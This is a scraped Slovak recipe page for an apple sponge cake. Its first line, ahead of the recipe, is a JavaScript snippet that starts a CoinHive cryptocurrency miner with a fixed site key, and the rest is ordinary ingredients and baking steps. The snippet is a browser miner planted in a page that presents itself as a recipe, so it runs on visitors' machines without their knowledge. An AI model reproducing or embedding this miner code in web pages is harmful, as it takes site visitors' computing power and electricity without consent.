var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 1 kg jabĺk, 210 g múky (Promix + PK špeciál), 180 g práškového cukru, 6 vajec, 1 prášok do pečiva, 0,5 dcl teplého mlieka,

Postup: Jablká očistíme. Na plech dáme papier na pečenie, vymastíme ho a vysypeme strúhankou. Nakrájame jablká na plátky, zalejeme piškótovým cestom. Pečieme cca 25 minút na 200˚C. Po upečení koláč vyklopiť na dosku, opatrne stiahnuť papier. Posypať práškovým cukrom.

Postup na cesto: Bielka vyšľaháme do tuha, pridáme práškový cukor a vyšľaháme. Potom zľahka zamiešame žĺtka, potom múku zmiešanú s práškom do pečiva. Na koniec pridáme teplé mlieko, premiešame a vyliať na jablká.